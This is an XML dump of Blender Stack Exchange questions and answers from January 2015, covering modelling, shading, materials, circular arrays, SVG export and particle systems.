  <row Id="23650" PostTypeId="2" ParentId="23523" CreationDate="2015-01-23T01:12:48.373" Score="1" Body="&lt;p&gt;I have found a solution. I was using a uv map as the texture for the plane. However, if I change the render mode from multitexture to GLSL, and use an image as an texture, it will display the plane correctly. It looks like there was a problem with the plane is under where I am, so it will show &quot;through&quot; the plane. &lt;/p&gt;&#xA;" OwnerUserId="11106" LastActivityDate="2015-01-23T01:12:48.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23651" PostTypeId="1" CreationDate="2015-01-23T01:34:55.477" Score="1" ViewCount="3845" Body="&lt;p&gt;There's a lot of articles like this, but their solutions don't solve the issue for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to load a background image (well, two images, basically) for reference, and they won't show up (in the 3D view). I set they perpendicularly (first I set one to the front and the right, then set them back and left. Neither way) and have it set to perspective mode. I even tried switching it to orthographic mode and cycling through the views to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's the ortho view and persp view:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://postimg.org/image/uotmxqijp/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/uotmxqijp/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://postimg.org/image/f80ddjq6b/&quot; rel=&quot;nofollow&quot;&gt;http://postimg.org/image/f80ddjq6b/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just downloaded Blender a few days ago; I have zero experience. Dumbing down answers to noob-speak would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need any more information on the problem, just ask.&lt;/p&gt;&#xA;" OwnerUserId="11167" LastEditorDisplayName="user1853" LastEditDate="2015-01-24T01:36:57.613" LastActivityDate="2017-01-21T13:26:22.023" Title="Background image not showing up in any 3-D view" Tags="&lt;3d-view&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23652" PostTypeId="2" ParentId="23336" CreationDate="2015-01-23T02:00:08.297" Score="1" Body="&lt;p&gt;without any index/face data, I don't think there is any simple way to get the mesh restored as it was, however if this really means a lot to you, it can be reconstructed from the point clouds using various tools that are available.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I started with Dupliverts(lots of docs available, easy to use) to visualize the points as a mesh and to create a basis for using the ShrinkWrap modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pipAZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Make Duplicates Real &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;a&lt;/kbd&gt; to convert the dupliverts to individual sphere meshes.  If you select one of them, and double tap &lt;kbd&gt;a&lt;/kbd&gt;, they will all be selected and when you press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;j&lt;/kbd&gt;, they will all be joined into one object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use the Shrink Wrap modifier to wrap a simple mesh onto the surface.&#xA;I started with a cube and added a Subdivision Surface Modifier, after that, you can add the ShrinkWrap Modifier below the Sub-D modifier.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YqKnZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with the ShrinkWrap, the hair shape is a lot more obvious, it was really messy because of all the holes between the spheres, the ShrinkWrap projected through them in a lot of places so I selected the spheres and used &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;s&lt;/kbd&gt; to scale them up in the direction of the normals.  This makes them 'fatter'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DAPhC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I deleted some of the mess and ended up with the following which looks like it should be useable as a starting point for you to finish re-modeling the hair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2NH6P.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link the .blend to save you a few steps if you would like to take this further.&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/33940&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/33940&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also combine cloth simulations to build a mesh that approximates the outer surface of the spheres without tearing through all the spaces between them.  Simply rotate the model to face different directions and add a Collision Physics simulation to them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add a sub-divided plane and a cloth simulation to it.  When you run the simulation, the cloth will drape over the spheres without falling through the holes like the shrink wrap tends to do.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p2meU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you apply the various simulations and trim the resulting mesh then you can join them together and use that as the basis for a ShrinkWrap.(Or you could do some mesh modeling to connect the cloth sim results).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what ShrinkWrap looks like over two cloth sims that were trimmed and joined&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UgQ39.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can use the b-surfaces tool, polystripes, or extrusion combined with snapping to build up stripes of geometry that look like hair using this base model as a guide for the positions and shape.&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-01-23T03:54:32.123" LastActivityDate="2015-01-23T03:54:32.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23653" PostTypeId="1" AcceptedAnswerId="23654" CreationDate="2015-01-23T02:04:50.637" Score="1" ViewCount="768" Body="&lt;p&gt;I am trying to animate a weapon, and I want to tweak it very slightly. When I click the add or decrease button in the rotation panel under the transforms, it does ALOT more than I want!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZiCLX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZiCLX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1iwhR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1iwhR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to use the Different eulers, but they only add by 1, I want to do very small movements like 0.1 , 0.2&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="2217" LastEditDate="2015-01-23T18:19:43.333" LastActivityDate="2015-01-23T18:19:43.333" Title="Change step size for rotation input?" Tags="&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23654" PostTypeId="2" ParentId="23653" CreationDate="2015-01-23T02:09:10.927" Score="1" Body="&lt;p&gt;It appears that you are in WXYZ rotation mode. You can see in your transformation tab there are four parameters. I honestly have no idea how that rotation mode works, so you can change the tab below those four parameters to &quot;XYZ Euler.&quot; It should behave differently now. Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="10911" LastActivityDate="2015-01-23T02:09:10.927" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23655" PostTypeId="1" AcceptedAnswerId="23658" CreationDate="2015-01-23T02:29:43.377" Score="8" ViewCount="752" Body="&lt;p&gt;I stumbled on a trick that while working on one project that will help me with another, but I am not sure why it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set the color of an emission shader to a saturation of 1 the shader appears that color no matter how strong the brightness is set to. However, if it is set to about .85 or lower, the shader becomes white when very bright much like a light would be in a photo. When you apply a glare filter to the output the glare is the color of the emission node while the object itself is still white. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand why this would happen in camera, clipping and all of that. What I don't understand is why this happens for lower saturations in Blender and not higher ones.&lt;/p&gt;&#xA;" OwnerUserId="11146" LastEditorDisplayName="user1853" LastEditDate="2016-04-06T17:59:11.160" LastActivityDate="2016-04-06T17:59:11.160" Title="Emission shader color saturation clipping" Tags="&lt;cycles-render-engine&gt;&lt;shaders&gt;&lt;color-management&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23656" PostTypeId="1" AcceptedAnswerId="23657" CreationDate="2015-01-23T02:32:14.643" Score="5" ViewCount="74440" Body="&lt;p&gt;I created a small model of a building, then tried to add some color. But when I apply the color the &quot;entire&quot; model is affected instead of just the highlighted area of the model. I want to use multiple colors on that model. Different color depending on the model section/area. I can't get this done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure if this will help. Last attempt.&lt;br&gt;&#xA;Clicked &quot;Edit Mode&quot;. (next option) Textures. then scrolled to the circle icon right of the triangle. Tried using color from the &quot;Diffuse&quot; and &quot;Specular&quot; sections. &lt;/p&gt;&#xA;" OwnerUserId="11168" LastEditorUserId="2217" LastEditDate="2015-01-23T03:01:37.997" LastActivityDate="2015-01-23T03:01:37.997" Title="Adding color to models" Tags="&lt;materials&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ClosedDate="2015-01-23T03:15:36.683" ContentLicense="CC BY-SA 3.0" />
  <row Id="23657" PostTypeId="2" ParentId="23656" CreationDate="2015-01-23T02:38:01.487" Score="9" Body="&lt;ol&gt;&#xA;&lt;li&gt;Go into edit mode&lt;/li&gt;&#xA;&lt;li&gt;Select the faces you want for one color , And click the + button in  the materials section&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JniHw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will apply the color to all faces , Next click on another face , click the + button , and click &quot;Assign&quot; this will give the selected face the new material&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e7Hjr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2015-01-23T02:38:01.487" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="23658" PostTypeId="2" ParentId="23655" CreationDate="2015-01-23T02:51:53.023" Score="7" Body="&lt;p&gt;Easiest to explain it with an example. Let's take fully saturated blue. At power 1.0, that is RGB 0.0, 0,0, 1.0. Let's boost power up to 2.0. We now have 0.0, 0.0, 2.0. This can't be display on our monitor, so it clips to 0.0, 0.0, 1.0. Essentially negating the power increase. We have the same blue we started with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now let's try 85% saturation, but still at full brightness, emitter power=1.0. That's RGB 0.15, 0.15, 1.0. Let's put the emitter up to 2.0. We now have RGB 0.3, 0.3, 2.0. That clips to 0.3, 0.3, 1.0. See what happened? We raised all the channels, but only R and G had room to go up, so they increase relative to blue, leaving you with a desaturated blue. This doesn't happen with 100% saturation, because R and G are 0 in that case and don't get scaled up when you boost the power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Btw, on the subject of the glare node, it doesn't clip linearly. I've never looked into what it does exactly, but it does some sort of scaling or clamping to avoid changing saturation or outputting superwhite values. (usually that's done by scaling down all the 3 channels by some identical value that will leave you with brightest channel=1.0)&lt;/p&gt;&#xA;" OwnerUserId="8081" LastActivityDate="2015-01-23T02:51:53.023" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23659" PostTypeId="1" CreationDate="2015-01-23T03:49:24.670" Score="12" ViewCount="7259" Body="&lt;p&gt;I am trying to build a Colosseum. I have one arch and want to use an array for the rest. I've added an empty at the center and added the array. Done the object offset, but no matter what I do I keep getting a spiral effect instead of all of the duplicates sitting on the same level. &lt;/p&gt;&#xA;" OwnerUserId="11170" LastActivityDate="2020-07-28T16:11:57.347" Title="How to use array to create circular array without spiralling" Tags="&lt;modifiers&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23660" PostTypeId="1" AcceptedAnswerId="23688" CreationDate="2015-01-23T03:58:02.180" Score="2" ViewCount="1357" Body="&lt;p&gt;How to copy BGE logic from one object to another using script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use the following code (coppied from an addon) to create a duplicate of an object ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def copyObject(scene, name, copyobj, location ):&#xA;&#xA;  # Create new mesh&#xA;  mesh = bpy.data.meshes.new(name)&#xA;&#xA;  # Create a new object.&#xA;  ob_new = bpy.data.objects.new(name, mesh)&#xA;  ob_new.data = copyobj.data.copy()&#xA;  ob_new.scale = copyobj.scale&#xA;  ob_new.location = location&#xA;  scene.objects.link(ob_new)&#xA;&#xA;  return ob_new&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this does not copy the game logic from the original object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="162" LastActivityDate="2017-01-23T13:34:36.460" Title="How to copy BGE logic from one object to another using script?" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23661" PostTypeId="1" AcceptedAnswerId="23662" CreationDate="2015-01-23T04:00:58.703" Score="11" ViewCount="10919" Body="&lt;p&gt;So I came across &lt;a href=&quot;http://inkscapetutorials.org/2015/01/07/blender-adds-freestyle-svg-export-to-create-inkscape-editable-3d-lineart/&quot; rel=&quot;noreferrer&quot;&gt;this post&lt;/a&gt; about a new &lt;a href=&quot;https://developer.blender.org/D785&quot; rel=&quot;noreferrer&quot;&gt;native method&lt;/a&gt; to render to SVG. That sounds great and all but how can it actually be done? Which buttons give me an SVG file at the end and where are they?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems pretty common for many blender/gimp plugins to simply not say how to use them. Even if the installation goes fine, there's no mechanism to find out what new buttons or menus exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/6675/1713&quot;&gt;Can blender export 2D curves to svg?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/q/8618/1713&quot;&gt;Is there a line render engine for Blender?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2016-09-17T11:13:51.993" Title="Render 3D mesh to 2D SVG export" Tags="&lt;rendering&gt;&lt;export&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="23662" PostTypeId="2" ParentId="23661" CreationDate="2015-01-23T04:00:58.703" Score="8" Body="&lt;h2&gt;Non-native:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?282824-SVG-output-script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Install via &lt;code&gt;File-&amp;gt;Preferences-&amp;gt;Addons-&amp;gt;Install From File...&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couldn't find any &lt;a href=&quot;https://blender.stackexchange.com/a/6677/1713&quot;&gt;menu additions&lt;/a&gt; trying to add this to recent blender versions, but pretty sure I had it working in the past.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/hvfrancesco/freestylesvg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/hvfrancesco/freestylesvg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check Freestyle in the Render tab of the Properties window (bottom right). In the Render Layers tab, change &lt;code&gt;Frestyle-&amp;gt;Control Mode&lt;/code&gt; to &lt;code&gt;Python Scripting Mode&lt;/code&gt; and load one of the scripts from the link. The blender file must be saved for this to work and then the SVG just appears in the output directory (or maybe the same dir as .blend, I've forgotten) after rendering.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Native:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://developer.blender.org/D785&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/D785&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The latest blender in fedora 21 doesn't have this addon, it's pretty new. Rather than find a recent binary build I just compiled from the source. &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:Doc/Process/Addons#Working_with_Git&quot; rel=&quot;nofollow noreferrer&quot;&gt;Checking out the blender repository&lt;/a&gt; also gets the addon scripts. The one in question is &lt;code&gt;release/scripts/addons/render_freestyle_svg.py&lt;/code&gt;. Hopefully this'll make it into the stable releases soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This addon needs to be enabled via &lt;code&gt;File-&amp;gt;Preferences-&amp;gt;Addons&lt;/code&gt; (search for and check &quot;Render: Freestyle SVG Exporter&quot;). With this enabled, an additional section appears below &lt;code&gt;Freestyle&lt;/code&gt; called &lt;code&gt;Freestyle SVG Export&lt;/code&gt; in the Render tab of Properties (bottom left). Check this, and next time you render, a file will simply appear in the output directory. By default the output directory is &lt;code&gt;/tmp/&lt;/code&gt; and my render was &lt;code&gt;/tmp/0001.svg&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ft8fi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-01-23T04:00:58.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23663" PostTypeId="1" AcceptedAnswerId="23703" CreationDate="2015-01-23T04:42:14.813" Score="6" ViewCount="2582" Body="&lt;p&gt;Documentation for the sculpt brushes seems to be a bit spare.  In particular, I'm having trouble properly understanding the difference between flatten, polish, and smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, hitting Shift seems to cause one of those to take effect when other brush types are selected.  This is convenient but I'm not sure I'm always getting consistent results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be nice to have all brush types and options properly described somewhere.  I'm starting to learn the code base but I'm not far enough to really tell what the brushes actually do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-24T02:05:49.513" Title="Can someone definitively describe the difference between the sculpt flatten, polish, and smooth brushes?" Tags="&lt;sculpting&gt;&lt;documentation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23664" PostTypeId="2" ParentId="23659" CreationDate="2015-01-23T05:03:57.023" Score="16" Body="&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/21704/1853&quot;&gt;Create an arch&lt;/a&gt; or an object to be repeated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8rqK6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a closed curve (circle) This curve will control the perimeter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NUxe5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On you object add an &lt;strong&gt;Array Modifier&lt;/strong&gt; with the &lt;em&gt;Fit Curve&lt;/em&gt; option and your cicle selected.&#xA;Then add a &lt;strong&gt;Curve Modifier&lt;/strong&gt; using the circle again to control it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/24Ffa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/73BQR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add another array!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aUuDp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add an empty in the middle of the circle and use it as an offset object you can create variations in size and rotation by changing the placement, size and rotation of the empty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JbWQI.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aV2Op.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tahaz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xl1KO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-09-21T23:34:05.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23665" PostTypeId="1" AcceptedAnswerId="23678" CreationDate="2015-01-23T05:39:12.587" Score="5" ViewCount="1106" Body="&lt;p&gt;What I'm actually trying to achieve is a hack for modeling with trilateral symmetry.  I'm trying to achieve this with the following modifiers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a model like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/USgjF.png&quot; alt=&quot;Single Quadrant&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - Mirror Modifier (mirror in X and Y) to give 4 identical quadrants.  This gives me something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQs9Y.png&quot; alt=&quot;Mirrored in X and Y&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - Boolean Modifer (use a big cube to remove the 2nd quadrant i.e. upper left).  I only allow the cube to draw as wires so I can see through it.  This give me something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ASusM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3 - Some sort of deform modifier (this is the crux of my question) that will close the shape in some reasonable way to achieve trilateral symmetry and allow me to continue modeling only in the original &quot;quadrant&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simple deform doesn't seem to be the right thing here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mathematically there are a few ways to do this, though scaling everything along the circle seems to be most natural and gives me the result I want.  So I could implement any of those transformations in Python as a one off.  But I'd rather hear someone experienced with Blender say that one of the deform modifiers does the trick for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9651" LastActivityDate="2015-01-24T23:06:15.007" Title="Is there a modifier to transform proportionally along a circle? (for tri-lateral symmetry)" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;mirror&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23666" PostTypeId="1" AcceptedAnswerId="23668" CreationDate="2015-01-23T08:54:24.793" Score="0" ViewCount="179" Body="&lt;p&gt;so I was looking through &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_73_release/bpy.types.Mesh.html#bpy.types.Mesh&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and two of the mesh properties are texspace_location and texspace_size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i was assuming these were uv coordinates and the scale of the uv map, but there are three floats in each one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;am i correct in my assumption, or am i way off?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also if they are uv coordinates what does the third float in each one mean?&lt;/p&gt;&#xA;" OwnerUserId="11130" LastActivityDate="2015-01-23T09:30:39.760" Title="What does texspace_location and texspace_size mean? in the blender Mesh Data" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23668" PostTypeId="2" ParentId="23666" CreationDate="2015-01-23T09:30:39.760" Score="1" Body="&lt;p&gt;It doesn't have anything to do with UV, it transforms texture space (for box mapping etc.). Turn on Texture Space to see it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4c3Nb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in Outliner in datablocks view under meshes&gt;your_mesh if you turn off &lt;em&gt;Auto Texture Space&lt;/em&gt; you can fiddle with the values and see what they do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E7nn8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2015-01-23T09:30:39.760" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23669" PostTypeId="2" ParentId="23413" CreationDate="2015-01-23T10:27:24.717" Score="3" Body="&lt;p&gt;When you are planning to make those kinds of particle systems, &lt;strong&gt;you should use a Hair system&lt;/strong&gt; instead of an Emitter one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your system the particles are being thrown from the faces and, despite you have the system freezed at frame 0 (I think Blender don't use negative frames in any simulation), it looks like some particles had enough velocity to be outside of the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the best approach to achieve your work is using a Hair Particle System. It's very simple for your purpose:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Particle System and set it to Hair. The Hair strands are perpendicular to the surface, just what you want.&lt;/li&gt;&#xA;&lt;li&gt;Change the Number of particles. The Hair Length is not necessary for you.&lt;/li&gt;&#xA;&lt;li&gt;Under the Render properties of the particle system, select object and then set Dupli Object to your tree. Then change the size at your will.&lt;/li&gt;&#xA;&lt;li&gt;Maybe you need to re-orient your tree in Edit Mode to align the vertical axis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additionally, you can create a group of a few different trees and set the Render particles to Group. The particle system is going to randomly select the trees for every strand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding to your actual situation, maybe if you set the Normal Velocity to 0, those trees would not float. But the Hair System is the best choice in this case.&lt;/p&gt;&#xA;" OwnerUserId="9482" LastActivityDate="2015-01-23T10:27:24.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23670" PostTypeId="1" AcceptedAnswerId="23673" CreationDate="2015-01-23T10:39:42.297" Score="13" ViewCount="2439" Body="&lt;p&gt;Is it possible to have motion blur on moving texture via variable mapping location coordinates ? I am using cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/9POp9ja.png&quot; alt=&quot;mapping&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to have ground animated with motion blur, but don't want to change position or size of plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/b752zJX.gif&quot; alt=&quot;animation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(&lt;a href=&quot;https://i.imgur.com/b752zJX.gif&quot; rel=&quot;noreferrer&quot;&gt;http://i.imgur.com/b752zJX.gif&lt;/a&gt; for animation)&lt;/p&gt;&#xA;" OwnerUserId="11173" LastActivityDate="2015-01-23T13:18:26.197" Title="Motion blur on texture" Tags="&lt;cycles-render-engine&gt;&lt;blur&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
